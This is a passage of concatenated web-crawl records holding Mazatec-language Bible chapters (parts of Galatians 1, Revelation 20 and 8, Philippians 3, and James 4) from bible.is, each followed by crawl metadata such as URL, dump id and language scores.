'kenájmí‑la̱ 'én nda‑la̱ jñà xi̱ta̱ ra mì tsa xi̱ta̱ judío. 'Kia̱ nga ko̱'sín kjomà'tiaa̱n, mì tsa yá xi̱ta̱ ra ískonangi‑la̱, 17ko̱ mì tsa ya̱ ndi̱to̱n kiì‑jiàa̱n ya̱ ján Jerusalén nga kiìkatsjía jñà ra ta̱'koa̱ ijye tsikíxáya ítjòn‑la̱ Cristo. Ta isa̱á jnchro ya̱á kijì ndi̱to̱n ya̱ i̱'nde kixì ra chja̱‑ni na̱xi̱ndá Arabia ko̱ ra kjomà a̱skan‑nioo̱, tsáfaá india‑na ya̱ na̱xi̱ndá Damasco. 18'Kia̱ nga tsato ján nó nga ijye kíjtsexkon Jesucristo, 'kia̱á kijiàa̱ ya̱ ján Jerusalén nga ikatsíjen‑la̱ jè Pedro, ko̱ chrjo'òn ni̱chjin ya̱ tsakáti̱jnaa̱ ya̱ ni'ya‑la̱. 19Mì kì kíjtse‑isaa̱ xi̱ta̱ ra kj'ií ra ta̱'koa̱ ijye kisìxáya ítjòn‑la̱, ta jè 'ndse̱ Na̱'ín‑ná ra 'mì Jacobo ra kíjtsee̱. 20Jè 'én ra ko̱'sín tíbi'tá‑no xa̱jo̱n, tíkotsíjen Nainá, mì tsa 'én ndiso‑jìn, ngi 'én kixi̱‑ní. 21Ra kjomà a̱skan‑ni ya̱á kijiàa̱ ya̱ nangi Siria ko̱ nangi Cilicia. 22Tanga jñà ni̱chjin kìi̱, kjè kì tsa bexkon‑na jñà xi̱ta̱ na̱xi̱ndá‑la̱ Cristo ra títsa̱jna ya̱ nangi Judea. 23Jñà xi̱ta̱ kìi̱, tà kií'nchré‑ró nga jè xi̱ta̱ ra tsahatji̱ngi‑la̱ kjotseé, 'ndi̱ 'ndi̱, jè‑ró 'béna̱jmíya 'én nda‑la̱ Cristo, jè 'én‑la̱ Nainá ra mejèn‑la̱ kisìkitsón‑ya tsiki. 24Ko̱ jeya isíkíjna Nainá 'kia̱ nga kií'nchré koni 'sín nga jahatjìya‑na.\nGálatas 1","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASAV\/Gal\/1","date":"2013-12-13T03:20:25Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164836485\/warc\/CC-MAIN-20131204134716-00043-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000088215,"language_script":"Latn","minhash_cluster_size":24,"top_langs":"{\"maa_Latn_score\": 1.0000088214874268}","num_words":622,"character_repetition_ratio":0.068,"word_repetition_ratio":0.0,"special_characters_ratio":0.236,"stopwords_ratio":0.331,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ìjngo ìkja̱li̱ kíjtse‑isa ra ngajmi itjojen‑ni; 'ya jè yabi̱ 'tse̱ nga̱jo̱ na̱tja̱n, ko̱ jngo cadena ra 'ñó je 'ki kjinaya tsja. 2Itsabá'ñó jè ye̱ jchá ra 'mì: Xi̱ta̱‑ni̱í, ko̱ ra 'mì: Xi̱ta̱ Kondra̱, nga jngo jmi nó tsikíté'ñó. 3Ko̱ ya̱á isìkàtje̱n‑ya ya̱ nga̱jo̱ na̱tja̱n ko̱ ya̱á tsikíchjà'ya. Tsikí'ta jngo chi̱ba̱ nga tsikíchjà'ñó mé‑ni nga mì yá ra ko̱ma ski̱íxa̱‑ni ko̱ mì ti̱ kì ko̱ma ki̱ìndisoko̱‑ni jñà xi̱ta̱ na̱xi̱ndá ra tjín ya̱ i̱sà'nde skanda 'kia̱ nga ijye ko̱to jngo jmi nó. A̱kjòn 'kia̱á tjájnda̱'ñó chiba ni̱chjin india‑ni. 4Kíjtse‑náa̱ íxile̱ ra i̱jncha ñánda̱ nga tísatéxoma, ko̱ ya̱á tsikitsa̱jna jñà ra xá ko̱'sín tsi'kì‑la̱ kjo̱téxoma nga jñà ki̱ìndajín. Ko̱ kíjtseé‑náa̱ jñà inìma̱ tsje‑la̱ jñà xi̱ta̱ ra kitisín ra ta nga̱tjì‑la̱ jñà 'én kixi̱ ra kitsjà a̱'ta 'tse̱ Jesús ko̱ ra ta nga̱tjì‑la̱ nga jñà 'én‑la̱ Nainá kijìtji̱ngi‑la̱. Jñà xi̱ta̱ ra mì tsa jè kijtsexkón jè cho̱ ra 'ñó 'cho 'kioo̱ ko̱ ti̱'koa̱ mì kì kijtsexkón jè i̱sén‑la̱ cho̱ ra̱kìi̱, ko̱ nga mì kì kitsjá'nde nga isi'ta‑la̱ jè chi̱ba̱‑la̱ cho̱ ra̱kìi̱ ya̱ tótjen‑la̱ ko̱ ya̱ tsja. Jñà xi̱ta̱ kìi̱, tsikitsa̱jnakoón india‑ni, ko̱ jngo jmi nó tsatéxoma ko̱ jè Cristo. 5I̱íjndíi̱ nga jaáya ítjòn‑la̱ xi̱ta̱. Tanga jñà mi'ken ra i'ka, skanda 'kia̱á jaáya india‑ila̱ 'kia̱ nga ijye tsato ra jngo jmi nó. 6¡Mé ta̱ nda‑la̱ jñà xi̱ta̱ ra ko̱ko̱‑la̱ nga kjoa̱áya ítjòn‑la̱! Xi̱ta̱ kìi̱, ijye xi̱ta̱‑la̱ Nainá ko̱ma. Nga̱ jè kjo̱biya ra bijchó jò‑ni, mì ti̱ kì mé nga'ñó tjín‑la̱ ra a̱'ta 'tse̱; mì ti̱ mé ma si̱ìko̱‑ni. Ta isa̱á na̱'mì ka̱ma ra a̱'ta 'tse̱ Nainá ko̱ a̱'ta 'tse̱ Cristo ko̱ jngo jmi nó ta̱ña ko̱tèxoma ko̱. 7'Kia̱ nga ijye kje̱ ra jngo jmi nó jè ra xi̱ta̱ kondra̱ ki̱tjo‑nì ya̱ ñánda̱ tíjna'ya nga tísíkjiín kjo̱hi'in; 8ko̱jmendi̱í‑ní mé‑ni nga sko̱ónda̱cha̱‑la̱ nga'tsì jñà xi̱ta̱ na̱xi̱ndá ra tjín nga tíjngo i̱sà'nde, jè Gog ko̱ Magog. Ki̱íxkóya xákjín mé‑ni nga ska̱jàn‑ni nga 'se̱ kjo̱jchán. Batoó kjín ma‑ni, 'koa̱á jngoya‑la̱ koni jñà chrjo̱ ra i̱jncha ya̱ a̱ndi ndáchikon. 9Tsinchimasòn‑ní kóho'ki nga tíjngo i̱sà'nde; jngo tjandi kijì‑la̱ ya̱ ñánda̱ nga títsa̱jna jñà xi̱ta̱‑la̱ Nainá ko̱ jè na̱xi̱ndá ra Nainá tsjake. Tanga jè Nainá, ni'í isikjinchrabájen‑ni ya̱ ján ngajmi nga tsaká nga'tsiòo̱. 10Ko̱ jè xi̱ta̱‑ni̱í ra tsikíndo̱cha̱‑la̱, ya̱á inìkàtje̱n‑jin ya̱ ñánda̱ nga títì jnga̱ ni'í ra ngi ko̱ azufre títì‑ni, ya̱ ñánda̱ nga ijye títsa̱jna jè cho̱ ra 'ñó 'cho 'kioo̱ ko̱ jè ra kiìchja̱ya 'én ndiso; ya̱á si̱ìkjiín kjo̱hi'in nga ko̱ ni̱chjin ko̱ ni̱tje̱n skanda ta kjiá‑nioo̱ ko̱ skanda ta mé ni̱chjin‑nioo̱. 11Kíjtseé jngo íxile̱ ra chraba 'ki ko̱ ra 'ñó je 'ki nga tíjnasòn jè ra ya̱ tíbatéxoma. 'Kia̱ nga tsatsíjen jè ra tíjnasòn íxile̱ chraba, jè nangi ko̱ jè ngajmi mì kì kijcha‑la̱ kó'sín nga ichijà. 12Ko̱ kíjtse‑náa̱ jñà mi'ken ra íchjín ko̱ íchjá ko̱ jñà ra i̱xti ko̱ i'ndí kjòn nga i̱jncha kixi̱ ya̱ ngixko̱n Nainá. Jñà libro itjá'xa̱jin‑ní [ñánda̱ tjí'ta mé ra ki'sìn nga jngó jngó xi̱ta̱], ko̱ ìjngo itjá'xa̱‑isa ra a̱skan‑nioo̱ jè ra libro 'tse̱ kjo̱binachon; isindajín‑la̱ jñà mi'ken koni 'sín tjín kjoa̱ ra ki'sìn nga jngó jngó koni 'sín nga tjí'ta jñà libro ra itjá'xa̱jin. 13Jè ndáchikon kitsjà jñà mi'ken ra ya̱ tjíhijyo‑la̱. Jè i̱'nde 'tse̱ mi'ken ko̱ jè i̱'nde 'tse̱ kjo̱hi'in kitsjá jñà mi'ken ra ya̱ títsa̱jna‑la̱; ko̱ 'koa̱á 'sín isindajín‑la̱ koni 'sín tjín kjoa̱ ra ki'sìn nga jngó jngó. 14‑ 15Jè i̱'nde‑la̱ mi'ken ko̱ jè i̱'nde‑la̱ kjo̱hi'in ya̱á inìkatsajojín ya̱ ñánda̱ nga títì jnga̱ ni'í. Ko̱ jñà mi'ken ra mì kì isakò 'í‑la̱ ya̱ a̱'ta xa̱jo̱n 'tse̱ kjo̱binachon, ya̱á iskatsajojín‑te ya̱ a̱jin ni'í ra ngi títì jnga̱. Jé kjo̱biya ra̱kìi̱ ra bijchó jò‑ni.\nApocalipsis 20","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASAV\/Rev\/20","date":"2013-12-12T19:06:32Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164677368\/warc\/CC-MAIN-20131204134437-00027-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000081062,"language_script":"Latn","minhash_cluster_size":27,"top_langs":"{\"maa_Latn_score\": 1.0000081062316895}","num_words":581,"character_repetition_ratio":0.061,"word_repetition_ratio":0.0,"special_characters_ratio":0.228,"stopwords_ratio":0.375,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ra fì‑isa jiòn ndí 'ndsé ko̱ ndí tichjeé, jè‑ní nga tsja kata'se‑najiòn ra a̱'ta 'tse̱ Na̱'ín‑ná. Mì tsa masi‑na ra 'a̱n ni̱'sín ti̱'koa̱ ti̱'sín tsò‑ni 'én ra kindá india‑najiòn koni 'sín tsò ra a̱sa ítsikindá‑no, nga̱ kjo̱nda tsa̱jión‑nó koni 'sín nga tíxian‑no. 2Ti̱kinda̱a ijo‑no a̱'ta 'tse̱ xi̱ta̱ 'cho ra ngi ta kjoa̱ 'tse̱ ni̱í‑ní ra 'sín ra kjo̱'ñó mejèn‑la̱ nga bate'ta ijo‑la̱ xi̱ta̱ nga bí'ta chi̱ba̱. 3Jién‑nájién ra ngi kixi̱ kjoa̱ nga tjí'ta chi̱be̱é mé‑ni nga 'ya‑la̱ nga xi̱ta̱‑la̱ Nainá 'mì‑ná. Ko̱ jién‑ná ra ngi ko̱ nga'ñó 'tse̱ Inìma̱ Tsje‑la̱ Nainá nga 'yaxkén ra jè; ko̱ 'ñó matsja‑ná a̱'ta 'tse̱ Cristo Jesús nga̱ mì tsa jñà kji'tatakén kjoa̱ ra 'tse̱ ijo‑ná. 4'A̱n, mì tsa kjoa̱ 'tse̱ ijo‑na̱ kji'tatákon, ni̱'sín kjìn sko̱ya kjo̱nda ra ki'se‑na. Tsa tjín i'ka xi̱ta̱ ra jè ma'ñó'ta takòn kjo̱nda ra tjín‑la̱, tanga ra 'a̱n isa̱á tse kjo̱nda tjín‑na ra ma ko̱'ñó'ta takoàa̱n, tanga mì tsa ko̱'sín tí'siaa̱n. 5Kjo jin ni̱chjin tjín‑na 'kia̱ nga isi'ta chi̱ba̱ ijo‑na̱ a̱'ta 'tse̱ kjoa̱ 'tse̱ circuncisión. Xi̱ta̱ israelita‑ná ra 'a̱n, ya̱á nchrabá‑ni tje̱‑na̱ a̱'ta 'tse̱ xi̱ta̱ ra tsi'kìn Benjamín. Ngi xi̱ta̱ Hebreo‑ná ra 'a̱n, nga̱ xi̱ta̱ Hebreo jñà xi̱ta̱ jchínga‑na̱. Ko̱ xi̱ta̱ fariseo kjomà ra 'a̱n, 'koa̱á 'sín nda kjòn ísihitjásòo̱n nga'tsì kjo̱téxoma 'tse̱ xi̱ta̱ judío. 6Batoó 'ñó nda tsaka'tá ikon jñà kjo̱téxoma 'tse̱ xi̱ta̱ jchínga‑na̱ skanda ítsangatji̱ngií‑la̱ jñà ra xi̱ta̱ na̱xi̱ndá‑la̱ Cristo ma. Koni 'sín tjín kjo̱téxoma 'tse̱ xi̱ta̱ judío nga kó'sín nga kixi̱ si̱jché ijo‑ná, 'a̱n, ni̱yá ra ma tsaté'ta‑na. 7Tanga nga'tsì kjoa̱ ra ko̱'sín kíxian‑la̱ nga 'sa̱ ítjòn nga 'ñó chjí‑la̱; 'ndi̱‑ni̱ mì tsa ti̱ mé chjí‑la̱ ra a̱'ta tsa̱'a̱n, ta nga̱tjì‑la̱ nga jè Cristo tsjake̱ 'ndi̱‑ni̱. 8Ta nga'tsì kjoa̱ kìi̱, mì kì ti̱ mé tjín‑ni ra isa̱ 'ñó chjí‑la̱ koni jè kjo̱nda ra tísakó‑na 'ndi̱‑ni̱ nga tíbexkon Cristo Jesús ra tíjna ítjòn‑na. Ta nga̱tjì 'tse̱ Cristo, ijyeé ítsachrjéngi ijye‑náa̱ nga'tsì kjoa̱ ra 'a̱n kjó'ñó'ta takoàa̱n, ko̱ 'ndi̱‑ni̱ ta tjé betákon‑isa, mé‑ni nga ngi ta jè Cristo kjín-tji̱ngi‑la̱, 9ko̱ mé‑ni nga ma ya̱ nda kóti̱jnako̱‑na ra jè. Mì tsa ta kjo̱nda tsa̱'a̱n‑jìn ko̱ mì tsa ki‑ni nga nda sìhitjásòo̱n kjo̱téxoma nga xi̱ta̱ kixi̱ kítjo̱ngiaa̱ ya̱ ngixko̱n Nainá, ta ki‑ní nga a̱'ta 'tse̱ Cristo makjiín‑na. Jè Nainá‑ní ra xi̱ta̱ kixi̱ 'sín‑na ta nga̱tjì‑la̱ nga makjiín‑na. 10Jé ra mejèn‑na nga isa̱ nda skexkon‑isa jè Cristo, ko̱ ti̱'koa̱ ske jè nga'ñó ra ki'se‑la̱ 'kia̱ nga jaáya india‑la̱; nga ko̱'sín ti̱jè kjo̱bítsjen kata'se‑na koni jè Cristo 'kia̱ nga kisìkjiín kjo̱hi'in ko̱ skanda 'kia̱ nga kinì'ken, 11mé‑ni nga ko̱'sín ko̱ma kjoa̱áya‑na a̱'ta 'tse̱ kjo̱biya. 12Tanga mì tsa tsò‑ni kjoa̱ nga ijye ijchòo̱ ñánda̱ nga mejèn‑na nga kijchòo̱ ko̱ tsa mì ti̱ mé ra chija'ta-isa‑na; ta isa̱á jnchro 'ñó tíbiné-isa‑la̱ ijo‑na̱ nga kijchòtji̱ngi‑la̱ mé kjoa̱ kjòn‑ni ra tjínda‑la̱ jè Cristo Jesús 'kia̱ nga ko̱'sín ijchòtji̱ngi‑na. 13Jiòn ndí 'ndsé ko̱ tichjeé, mì tsa ko̱'sín síkítsjen jiàa̱n, tsa ijyeé 'ñó nda bexkoo̱n ra jè Jesús. Tanga jngoó kjoa̱ 'siaa̱n, sijcháhajin ijye‑náa̱ nga'tsì kjoa̱ ra ijye tsato ko̱ ta jè tíbiné‑la̱ ijo‑na̱ nga kijchòtji̱ngi‑la̱ kjo̱nda ra 'sa̱ nchrabá. 14Jè tjíya skoàa̱ nga kijchòo̱, kóo nda sikíjne jè kjo̱tjò ra a̱'ta 'tse̱ Cristo si̱ìnga̱tsja‑na Nainá koni 'sín nga xá kiìchja̱‑na ján ngajmi. 15'Koa̱á ma‑ni, nga'tsí‑ná ra ijye nda makjiín kixi̱‑ná ra a̱'ta 'tse̱ Nainá, machjeén‑ní nga 'koa̱ ti̱'sín si̱kítsjeén. Ko̱ tsa isa̱ kj'ií 'sín bítsjen i'ka‑najiòn, jè Nainá si̱ichi̱ya nda‑no kó'sín nga si̱kítsjen. 16Tanga jè ra 'ñó machjeén, nga 'koa̱á 'sín si̱jché ijo‑ná koni 'sín nga ijye machi̱ya‑ná skanda 'ndi̱‑ni̱. 17Jiòn ndí 'ndsé ko̱ tichjeé, ko̱'sín 'tia̱àn jiòn koni 'sín nga tísíjchá ijo‑na̱ ra 'a̱n, ko̱ jñà chjíngi‑la ra ko̱'sín i̱nchisíjchá ijo‑la̱ koni 'sín tjín xkósòn ra ji̱n i̱nchi'bi‑laji̱n. 18Nga̱ 'ñó kjìn ma‑ni xi̱ta̱ ra ko̱'sín i̱nchisíjchá ijo‑la̱ nga kondra̱ tjíhijyo‑la̱ koni 'sín nga tí'sena̱jmíya nga kó'sín isi'ta krò jè Cristo, koni 'sín nga ijye kjokjìn 'ka̱ ko̱xian‑no, ko̱ 'ndi̱ 'ndi̱ ngi ko̱ó ndáxkoaa̱n nga india ko̱tíxian‑no. 19Tanga jñà xi̱ta̱ kìi̱, ra kje̱he'tà‑ni kjoa̱, ya̱á ki̱jchò ya̱ i̱'nde 'tse̱ kjo̱hi'in. Nga̱ ta jñá 'ñó makájno‑la̱ kjoa̱ ra mejèn‑la̱ ijo‑la̱ ko̱ xín kisíkíjna Nainá. Ko̱ jñá 'nga bíhijyo‑ni ijo‑la̱ kjoa̱ ra tjínè‑la̱ nga ko̱sabà‑la̱. Ta jñá síkítsjen kjoa̱ ra tjín i̱ i̱sà'nde ra̱kìi̱. 20Tanga ra jién, ya̱á ngajmi ján tíjna ra ngi na̱xi̱ndá‑ná. Ko̱ 'koa̱á 'sín ijye i̱nchichiñá‑lá nga ya̱á kji̱nchrabà‑ni jè ra ko̱chrjekàjin‑ná kjo̱hi'in, jè Jesucristo ra tíjna ítjòn‑ná. 21Jè si̱ìkaatjìya‑la̱ ijo ni'nde‑ná nga ìjngo ra xi̱tse̱ tsjá‑ná ra ko̱'sín 'ki koni 'sín 'ki ijo‑la̱ ra jè nga jeya tíjna; 'kia̱ nga ko̱'sín 'si̱in, ti̱jé nga'ñó si̱ìchjeén‑ni jè ra síchjeén nga batéxoma‑la̱ nga'tsì ta mé tsajmì ra tjín i̱ i̱sà'nde.\nFilipenses 3","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASAV\/Phil\/3","date":"2013-12-08T14:26:58Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163065880\/warc\/CC-MAIN-20131204131745-00036-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000089407,"language_script":"Latn","minhash_cluster_size":26,"top_langs":"{\"maa_Latn_score\": 1.0000089406967163}","num_words":743,"character_repetition_ratio":0.064,"word_repetition_ratio":0.0,"special_characters_ratio":0.239,"stopwords_ratio":0.316,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1¿Ñánda̱ nchrabá‑ni jè kjo̱jchán ko̱ jè kjoa̱ nga ko̱'sín bixkàn‑kjo jiòn? ¿A mí tsa ya̱ nchrabá‑ni a̱'ta 'tse̱ kjoa̱'cho ra mejèn‑no 'nià, ra 'ñó kjaán‑ko̱ jè inìma̱‑no? 2Mején‑najiòn nga 'se̱‑no ta mé tsajmì‑ni, tanga mì kì sakó‑no, ya̱á nchrabá‑ni nga nì'ken jiòn xi̱ta̱ xàngio̱o nga̱ batoó tjíjin ya̱ inìma̱‑no ra kjoa̱xìtakòn 'mì, mì kì sakó‑no mé ra mejèn‑no; 'koa̱á ma‑ni nga bixkàn‑kjo ko̱ a̱kjòn sakó‑no ra kjo̱jchán 'mì. Mì kì sakó‑no mé ra mejèn‑no, ta nga̱tjì‑la̱ nga̱ mì tsa níjé‑la Nainá. 3Ko̱ tsa 'kia̱ nga níjé‑la jiòn Nainá, mì kì 'bì‑najiòn, ta nga̱tjì‑la̱ nga̱ 'choó níjé jiòn; ta jé ra mejèn‑najiòn nga ya̱ si̱chjeén a̱'ta 'tse̱ kjoa̱tsja ra sasén‑la̱ ijo‑no. 4Jiòn, xi̱ta̱ ra mì tsa kixi̱ 'nià a̱'ta 'tse̱ Nainá, ¿a mí 'ya jiòn, nga tsa 'kia̱ jè ko̱tsjacheé jñà kjoa̱'cho ra tjín i̱ i̱sà'nde, jé Nainá kondra̱ i̱nchimangí‑lá? Nga̱ nga'tsì xi̱ta̱ ra jè matsjake kjoa̱'cho ra tjín i̱ i̱sà'nde, kondra̱á fì‑la̱ Nainá. 5¿A bixó‑nájiòn, tsa ta 'koa̱á tsò jè xa̱jo̱n ra tjí'ta 'én‑la̱ Nainá, 'kia̱ nga tsò: \"Jè Inìma̱ Tsje ra Nainá kitsjá‑ná, batoó 'ñó machi̱ni̱ ta nga̱tjì‑la̱ nga batoó nda matsjake‑ná\"? 6Tanga jè Nainá isa̱á nda basìko̱‑ná nga tsjá‑ná kjo̱nda‑la̱. 'Koa̱á ma‑ni nga ko̱'sín tsò jè xa̱jo̱n ra tjí'ta 'én‑la̱ Nainá, nga tsò: \"Jè Nainá kondra̱á tíjna‑la̱ jñà xi̱ta̱ ra 'nga ikon, tanga tseé kjo̱nda tsjá‑la̱ jñà ra ndí xi̱ta̱ 'ndé.\" 7Ti̱'nde nga jè Nainá katatéxoma‑no, tanga ti̱tája‑la jè xi̱ta̱‑ni̱í, ko̱ kja̱beé ko̱se̱n'táxín‑no. 8Ti̱chraña'ta‑la Nainá mé‑ni nga ti̱'koa̱ jè Nainá si̱ìchraña'ta‑no. Jiòn ra fatsji‑jé, ta kjoa̱tsje ra 'tia̱àn jiòn 'ndi̱‑ni̱ ra a̱'ta 'tse̱ Nainá, mé‑ni nga jñà ndsa̱à katatsje‑nì. Ko̱ jiòn ra ta jò tjín takòn nga ko̱'ki matsjacha jè Nainá ko̱ ko̱'ki matsjacha jè kjoa̱ 'tse̱ i̱sà'nde, ti̱tsje jè kjo̱bítsjen ra tjíjin ya̱ inìma̱‑no mé‑ni ngi tsje katijna‑ni. 9'Ñó ti̱kájno, chjíndáya ko̱ ajò katama‑la̱ inìma̱‑no tà nga̱tjì‑la̱ nga jé tjín‑no. Jè kjoa̱ bijnòcha‑no, ndáxko̱n katama‑ni; ko̱ jè kjoa̱tsja‑no, kjo̱baá katama‑ni. 10'Ñó nangi ti̱kítsa̱jna ijo‑no ya̱ ngixko̱n Na̱'ín‑ná mé‑ni nga jè 'nga si̱ìkíjna‑no. 11Jiòn ndí 'ndsé, kì xàngio̱o nakjoájno‑la nga jngó jngó‑no ko̱ ra ìjngo ko̱ ra ìjngo. Nga̱ jè ra ko̱'sín chja̱jno‑la̱ 'ndse̱ nga bánè jé‑la̱, chja̱jno‑la̱ jè kjo̱téxoma‑la̱ Nainá ko̱ ti̱'koa̱á bánè jé‑la̱. Tsa ji̱ ra ko̱'sín nakjoájno‑la jè kjo̱téxoma, mì tsa tjinihitjasòn‑jìn, ta isa̱á jnchro ji̱ tji'nì ijo‑li koni jngo xi̱ta̱xá ra bíndajín jè kjo̱téxoma. 12Jngoó‑ni jè ra ma‑la̱ tsjá kjo̱téxoma, ti̱jé‑ni xi̱ta̱xá ra ma‑la̱ bíndajín, ko̱ ti̱jé‑ni ra ma‑la̱ si̱ikatojin‑ná kjo̱hi'in ko̱ ti̱'koa̱á ma‑la̱ ki̱ìné‑ná kjo̱hi'in. Tanga, ¿yá‑ni ra ji̱, nga ji̱ fanè jé‑la̱ xi̱ta̱ xàngi̱i? 13Nda ti̱ná'ya jiòn xi̱ta̱ ra ki̱'sín bixó: \"'Ndi̱ 'ndi̱ ko̱ ñá tsa nchijòn, ya̱á kjieén ya̱ na̱xi̱ndá ra̱kiòo̱, jngo nó ya̱ ki̱tsa̱jneé nga ko̱ti̱nayeé tsajmì ko̱ ndaá ki̱jne‑ná to̱n.\" 14Ko̱ nda mí 'ya‑najiòn, mé ra ko̱ma'tin jiòn ni̱chjin ra 'sa̱ nchrabá. Jiòn, ta 'koa̱á 'sín ngoya‑la̱ koni jè ifi‑xa̱, ta jngohíjtaá mangaya tíjngo‑ni, ko̱ ta jngohíjtaá feheya‑ni. 15Jè ra machjeén tsa ki̱'sín kixó jiòn: \"Tsa jè Na̱'ín‑ná ra ko̱'sín mejèn‑la̱ nga tsjá‑isa‑ná kjo̱binachon, ko̱maá‑la 'sie̱én ta mé xá‑ni.\" 16Tanga ra jiòn, batoó nakjoá jiòn ra 'én 'nga ikon, ko̱ taxki̱ nakjoá‑nájiòn a̱'ta 'tse̱ kjoa̱ ra nda mí kì 'ya jiòn kó'sín tjín kjòn‑ni. Nga'tsì 'én 'nga ikon ra ko̱'sín nakjoá jiòn, batoó 'cho tjín. 17Jè xi̱ta̱ ra be kó'sín tjín kjoa̱ ra nda tjín, ko̱ mì kì tsa ko̱'sín 'sín‑ni, tíbátsji-jé‑la̱ ijo‑la̱.\nJacobo 4","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASAV\/Jas\/4","date":"2013-12-09T23:32:13Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164001281\/warc\/CC-MAIN-20131204133321-00036-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.000009656,"language_script":"Latn","minhash_cluster_size":25,"top_langs":"{\"maa_Latn_score\": 1.0000096559524536}","num_words":545,"character_repetition_ratio":0.057,"word_repetition_ratio":0.0,"special_characters_ratio":0.247,"stopwords_ratio":0.321,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Jè Orrè, k'e̱ nga jaàxìn jè sello xi ma‑ne itoò, osen‑la hora jñá kis'e ján ngajmiì. 2I̱kjoàn kìjtseè jñà àkja̱le̱ xi itoò ma‑ne xi 'ncha kixi̱ nguixko̱n Nainá, jngoò chrjo trompeta kits'iì‑la̱ nga jngoò ìjngoò. 3K'e̱é j'iì ìjngoò àkja̱le̱ xi 'ya jngoò ki̱cha̱ xi nguì oro jè xi tjíya chrjongó‑la̱ Nainá. Tsasíjna kixi̱ ya̱ i̱t'aà ími̱xa̱ tsjeè‑la̱ Nainá, i̱kjoàn tse chrjongó‑la̱ Nainá kits'iì‑la̱ mé‑ne nga ya̱ kisìjngoòko̱‑ne jè kjoa̱ bìtsi'ba‑la̱ jñà xi̱ta̱‑la̱ Nainá. Ya̱á tsaká ya̱ i̱sòn ími̱xa̱ tsjeè xi nguì oro xi tíjna ya̱ nguixko̱n jè xi tíjnasòn íxi̱le̱ ñánda tíhotíxoma. 4Jè ni̱'ndi̱‑la̱ chrjongó‑la̱ nainá ko̱ kjoa̱ bítsi'ba‑la̱ xi̱ta̱‑la̱ Nainá tsijin‑né ya̱ tsja jè àkja̱le̱ ya̱ nguixko̱n Nainá. 5Jè àkja̱le̱ kiskoé jè ki̱cha̱ xi tìya chrjongó‑la̱ Nainá, chinchá‑ìsa̱ xá'í xi títìsòn ya̱ i̱t'aà ími̱xa̱ tsjeè‑la̱ Nainá. I̱kjoàn kisìkatje̱n‑sòn i̱sò'nde; 'ñó kits'iìn ch'o̱n, kina'yà‑la̱ jta̱, ki'ya‑la̱ ni'ín ch'o̱n, ko̱ ts'a ch'ón. 6Jñà àkja̱le̱ xi itoò ma‑ne ko̱ itoò chrjo trompeta tjíma'ya tsibítsa̱jnandaà nga si̱ìkjindáya. 7Jè àkja̱le̱ xi síjna ítjòn kisìkjindáya chrjo‑la̱. I̱kjoàn ts'a jtsí nda̱jo̱ ko̱ ni'ín xi tsjájiìn jní; ján kisìkasén i̱t'aà nangui. Jè xi ma‑ne jàn‑ya‑la̱ i̱sò'nde, jngoòya kitì; k'oa̱ ti̱ tjín kitì jñà yá; kitì yije xka̱ xkoén. 8Jè xi ma‑ne jò àkja̱le̱ kisìkjindáya chrjo‑la̱. Ko̱ jngoò xi o̱kji koni jngoò nindoò xi je kji xi títì, ya̱á kinìkatje̱n‑jiìn ndáchikon. Nga jàn‑ya‑la̱ ndáchikon, jngoòya, jní komà. 9Jñà cho̱ xi tjín‑ngui ndáchikon, jngoòya k'en xi ma‑ne jàn‑ya cho̱. K'oa̱á ti̱s'ín komà jñà chitso, jngoòya chixoña xi ma‑ne jàn‑ya chitso. 10Jè xi ma‑ne jàn àkja̱le̱ kisìkjindáya chrjo‑la̱. Jngoò ni'ño xi 'ñó je kji xi títìjnga̱, kiskaàngui‑ne ngajmiì. Jè ni'ño jè, jngoòya xa̱jngá nandá kiskaàjiìn xi ma‑ne jàn‑ya xa̱jngá nandá ko̱ ya̱ ñánda títjo nandá. 11Jè 'ín‑la̱ ni'ño jè, xka̱ tsja 'mì. Ko̱ jè nandá, jngoòya kjòtsja, jè xi ma‑ne jàn‑ya nandá. Kjín jchán xi̱ta̱ k'en nga kjòtsja nandá. 12Jè xi ma‑ne ñijòn àkja̱le̱ kisìkjindáya chrjo‑la̱. I̱kjoàn jngoòya kitsì'on jè ts'oí xi ma‑ne jàn‑ya yijo‑la̱; ko̱ k'oa̱á ti̱s'ín komà jè sá ko̱ ni'ño. I̱kjoàn kòjñò jngoòya jè ts'oí ko̱ sá ko̱ ni'ño. Koa̱ jngoòya kòjñò jè na̱chrjein xi jàn‑ya tjín‑ne; ko̱ k'oa̱á ti̱s'ín komà k'e̱ nga ni̱tje̱n; mì ti̱ kiì kjòhiseèn‑ne. 13K'e̱ nga kiskoòtsejèn, ki'nchrè jngoò‑la̱ ja̱ xi kitoòtje̱n ján i̱jiìn i̱sén. 'Ñó kiìchja̱ nga kitsò: ―I̱ma̱ xó‑ne, i̱ma̱ xó‑ne, i̱ma̱ xó‑ne jñà xi̱ta̱ xi tjín ján i̱sò'nde, ta̱xki̱ 'oón ko̱mat'in k'e̱ nga ski̱ndàya chrjo‑la̱ jñà àkja̱le̱ xi nguì jàn chija‑ìsa.\nApocalipsis 